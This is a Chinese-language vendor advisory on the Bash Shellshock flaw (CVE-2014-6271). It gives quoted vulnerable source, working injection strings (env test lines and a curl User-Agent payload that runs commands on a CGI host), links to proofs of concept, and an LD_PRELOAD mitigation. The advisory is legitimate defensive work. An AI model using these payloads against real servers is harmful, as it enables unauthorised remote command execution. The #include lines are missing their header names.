| 首页 > 新闻公告 > 公告详情
CVE-2014-6271 bash代码注入漏洞总结 (9月26日更新)
2014-09-26

CVE-2014-6271

 

概述:

低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。

 

细节:

bash-4.1/variables.c initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:

void

initialize_shell_variables (env, privmode)

     char **env;

     int privmode;

{

       ...

       strcpy(temp_string + char_index + 1, string);

      

       /*此处缺少对畸形环境变量的验证,应修改为

              if(legal_identifier (name))

                     parse_and_execute(temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

       */

       parse_and_execute(temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

 

       /* Ancientbackwards compatibility.  Old versions ofbash exported

       functions likename()=() {...} */

       if(name[char_index - 1] == ')' && name[char_index - 2] == '(')

         name[char_index - 2] = '\0';

       ...

}

 

bash-4.1/builtins/evalstring.c parse_and_execute()函数负责具体的解析和执行,未验证特殊的command情况,代码如下:

int

parse_and_execute (string, from_file, flags)

     char *string;

     const char*from_file;

     int flags;

{

       ...

       else if (command= global_command)

           {

             struct fd_bitmap *bitmap;

 

                /*此处缺少对command类型的判断,应添加

                     if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

                     {

                            internal_warning("%s: ignoring function definition attempt", from_file);

                            should_jump_to_top_level= 0;

                            last_result= last_command_exit_value = EX_BADUSAGE;

                            break;

                     }

                */

             bitmap = new_fd_bitmap (FD_BITMAP_SIZE);

             begin_unwind_frame("pe_dispose");

             add_unwind_protect (dispose_fd_bitmap,bitmap);

             add_unwind_protect (dispose_command,command);       /* XXX */

 

             global_command = (COMMAND *)NULL;

       ...

}

 

影响范围:

该漏洞影响gnu bash 4.3之前的版本。

由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。

 

利用方法:

[bash本地命令注入]

       1.官方验证版            env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

       2.官方patch绕过版  env -i X='() { (a)=>\' bash -c 'echo date';cat echo

[http cgi远程命令执行]

       curl -A "(){ :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v

[dhcp远程命令执行]

       https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

[vmware fusion提权]      

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb

 

 

漏洞延伸:

       busybox 不存在相同漏洞

      

httpd cgi修复方法:

我们提供的Httpd临时修复方案如下:

 

1.编辑bash_ld_preload.c文件

#include

#include

#include

 

static void __attribute__ ((constructor)) strip_env(void);

extern char **environ;

 

static void strip_env()

{

       char *p,*c;

       int i = 0;

       for (p =environ[i]; p!=NULL;i++ ) {

              c =strstr(p,"=() {");

              if (c !=NULL) {

                     *(c+2)= '\0';

              }

              p =environ[i];

       }

}

 

2.检查校验和

sha256sum bash_ld_preload.c

28cb0ab767a95dc2f50a515106f6a9be0f4167f9e5dbc47db9b7788798eef153  bash_ld_preload.c

 

3.编译

$ gcc bash_ld_preload.c -fPIC -shared-Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so

 

4.复制bash_ld_preload.so/lib

cp bash_ld_preload.so /lib/

 

5./etc/init.d/httpd头部(在#!行之后)添加以下内容:

LD_PRELOAD=/lib/bash_ld_preload.so

export LD_PRELOAD

 

6.重启httpd

service httpd restart


作者:360信息安全部 Linux安全工程师 max